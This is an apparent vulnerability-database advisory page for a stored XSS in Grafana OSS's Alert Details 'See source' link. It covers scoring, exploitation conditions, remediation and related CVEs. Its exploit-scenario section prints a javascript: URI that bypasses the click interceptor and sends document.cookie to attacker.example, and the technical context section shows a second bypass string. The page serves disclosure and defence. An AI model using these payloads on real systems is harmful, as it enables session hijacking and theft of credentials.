Skip to main content

Grafana OSS CVE-2026-17033

| EUVDEUVD-2026-64887 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-24 GRAFANA GHSA-7vc5-9278-236p
6.8
CVSS 3.1 · Vendor: GRAFANA
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attain Grafana Editor role
  2. Delivery
    Craft javascript: URI with ://-bypass comment
  3. Exploit
    Submit external Alertmanager alert via API
  4. Install
    Victim opens Alert Details page
  5. C2
    Victim clicks See source LinkButton
  6. Execute
    Browser executes attacker JavaScript in Grafana origin
  7. Impact
    Exfiltrate session token or perform privileged actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to possess either the Grafana Editor role or the more granular alert.instances.external:write permission - neither is granted to unauthenticated or viewer-level users by default. The vulnerable feature is the external Alertmanager alert submission endpoint, which allows these users to supply a generatorURL field. A second, separate victim user with read access to Grafana alerts must open the Alert Details view for the malicious alert and actively click the 'See source' LinkButton (UI:R). Exploitation is constrained to Grafana deployments where: (1) the external Alertmanager integration is enabled and accessible to Editor-level users, and (2) higher-privileged users (e.g., Admins, users with access to sensitive datasources) interact with the Alert Details UI. Users who never navigate to Alert Details or never click 'See source' links are not affected. The attack does not bypass authentication - the attacker must already hold a valid Editor-level account.

Impact

The CVSS 3.1 score of 6.8 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L reflects a balanced real-world threat: network-delivered with low complexity, but gated behind PR:L (requires Editor role or alert.instances.external:write) and UI:R (a victim must click the link). The High confidentiality impact captures the most critical consequence - full session hijacking, including access to Grafana API keys and dashboard data visible to the victim. The S:U (Unchanged scope) keeps this from reaching Critical despite the session hijacking potential, since impact is bounded to the Grafana application context. No EPSS score was provided in available intelligence, limiting probabilistic exploitation assessment. No CISA KEV listing exists, indicating no confirmed widespread active exploitation at time of analysis. However, the bypass technique is publicly documented in the CVE description itself, meaning any attacker with Editor access could construct a working payload without additional research - this meaningfully lowers the effective attack complexity beyond what AC:L alone conveys. Risk is most elevated in multi-tenant Grafana deployments where Editor permissions are granted to semi-trusted users (contractors, external teams) alongside higher-privileged Admins or users with access to sensitive data sources.

Exploit ScenarioDerived

An attacker holding a Grafana Editor account crafts an external Alertmanager alert payload where generatorURL is set to a javascript: URI that bypasses the :// click-interceptor check - for example, javascript:/*://*/fetch('https://attacker.example/steal?t='+document.cookie) - and submits it via the Grafana API. When a Grafana Admin or other privileged user subsequently views the alert in the Alert Details panel and clicks 'See source', their browser executes the attacker's JavaScript in the Grafana origin, exfiltrating their session token or Grafana API key to the attacker's server. No public POC has been identified at time of analysis, but the bypass technique is explicitly described in the CVE disclosure, making independent weaponization straightforward for any attacker with Editor-level access.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 24, 2026

Stored cross-site scripting in Grafana OSS allows an authenticated Editor-level attacker to hijack the browser session of any user who clicks a crafted alert link, executing attacker-controlled JavaScript in the Grafana origin with the victim's permissions. The attack exploits unsanitized rendering of the external Alertmanager alert generatorURL field as an href in the Alert Details 'See source' LinkButton, combined with a bypass of Grafana's click-interceptor heuristic by embedding :// inside a JavaScript comment within a javascript: URI. No public exploit code or CISA KEV listing has been identified at time of analysis, but the bypass technique is fully disclosed in the CVE description, lowering the bar for weaponization.

RemediationAI

The primary remediation is to apply the patched Grafana OSS release identified in the vendor security advisory at https://grafana.com/security/security-advisories/cve-2026-17033 - exact fixed version numbers are not independently confirmed from available intelligence and must be sourced directly from that advisory. As an immediate compensating control prior to patching, revoke the alert.instances.external:write permission from any Editor-level accounts that do not strictly require it for operational purposes, since this permission is the prerequisite for injecting a malicious generatorURL - note that this may break external Alertmanager alert workflows for those users. Additionally, audit and minimize the number of accounts holding the Grafana Editor role, reducing the attacker pool. Organizations that cannot restrict permissions should consider alerting users to avoid clicking 'See source' links in alerts submitted by untrusted or external-facing accounts until the patch is applied.

Affected VersionsENISA

Grafana OSS 12.4.0 ≤12.4.9
Grafana OSS 13.0.0 ≤13.0.7
Grafana OSS 0 ≤12.3.11

Affected Packages

euvd grafana_oss no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Grafana's external Alertmanager integration allows authorized users to submit alert payloads that include a generatorURL field, which Grafana then renders verbatim as the href attribute of a 'See source' LinkButton in the Alert Details view. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant: the generatorURL is persisted server-side in the alert and presented unsanitized to any user viewing that alert. Grafana implemented a click interceptor that checks for the presence of :// to detect and flag external links, but this heuristic is insufficient - placing :// inside a JavaScript comment (e.g., javascript:/*://*/alert(document.cookie)) satisfies the heuristic check while still being interpreted as a javascript: scheme URI by the browser. No URL-scheme allowlist restricting hrefs to safe protocols (https:, http:) is applied. Affected product per CPE: cpe:2.3:a:grafana:grafana_oss:*:*:*:*:*:*:*:* - the wildcard version range indicates broad version coverage across Grafana OSS releases.

Know when Grafana gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GRAFANA) PRIMARY 6.8 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L
vuln.today AI 6.8 MEDIUM

PR:L reflects required Editor role; UI:R because a separate victim must click the crafted link; C:H as victim session token and Grafana data are fully exposed.

3.1 AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 6.8 MEDIUM

Primary rating from Vendor (GRAFANA).

CVSS VectorVendor: GRAFANA

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

DescriptionCVE.org

An authenticated attacker with Editor access or alert.instances.external:write can submit an external Alertmanager alert containing a controlled generatorURL. The attacker is authorized to create the alert, but not to execute script in another user's Grafana session.

Grafana renders alert.generatorURL directly as the Alert Details See source LinkButton href without URL-scheme sanitization or a safe-protocol allowlist. The click interceptor's :// heuristic can be bypassed by placing :// inside a JavaScript comment. When a user with read access clicks See source, the browser executes attacker-controlled JavaScript in the Grafana origin with the clicking user's permissions.

Threat Intelligence Overview

EPSS Score
0.2%
Top 89% exploitable
Prevalence
High
widely deployed open-source observability platform across enterprises and cloud environments
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-9264 CRITICAL POC
9.4 Oct 18

The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input.

CVE-2023-34111 CRITICAL POC
9.8 Jun 06

The `Release PR Merged` workflow in the github repo taosdata/grafanaplugin is subject to a command injection vulnerabili

CVE-2022-26148 CRITICAL POC
9.8 Mar 21

An issue was discovered in Grafana through 7.3.4, when integrated with Zabbix. Rated critical severity (CVSS 9.8), this

CVE-2020-27846 CRITICAL POC
9.8 Dec 21

A signature verification vulnerability exists in crewjam/saml. Rated critical severity (CVSS 9.8), this vulnerability is

CVE-2018-15727 CRITICAL POC
9.8 Aug 29

Grafana 2.x, 3.x, and 4.x before 4.6.4 and 5.x before 5.2.3 allows authentication bypass because an attacker can generat

CVE-2026-63087 CRITICAL POC
9.3 Jul 16

Authentication bypass in Grafana OnCall through 1.16.11 lets unauthenticated remote attackers mint a valid PluginAuthTok

CVE-2023-36649 CRITICAL POC
9.1 Dec 12

Insertion of sensitive information in the centralized (Grafana) logging system in ProLion CryptoSpike 3.0.15P2 allows re

CVE-2025-4123 HIGH POC
7.6 May 22

A cross-site scripting (XSS) vulnerability exists in Grafana caused by combining a client path traversal and open redire

CVE-2020-13379 HIGH POC
8.2 Jun 03

The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. Rated high severity (CVSS

CVE-2023-1387 HIGH POC
7.5 Apr 26

Grafana is an open-source platform for monitoring and observability. Rated high severity (CVSS 7.5), this vulnerability

CVE-2022-32276 HIGH POC
7.5 Jun 17

Grafana 8.4.3 allows unauthenticated access via (for example) a /dashboard/snapshot/*?orgId=0 URI. Rated high severity (

CVE-2022-32275 HIGH POC
7.5 Jun 06

Grafana 8.4.3 allows reading files via (for example) a /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. Rated high

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Module for Package Hub 15 SP7 Affected
SUSE Manager Client Tools 15 Affected
SUSE Manager Client Tools for SLE 15 Affected
SUSE Multi-Linux Manager Client Tools for SLE 15 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP4 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy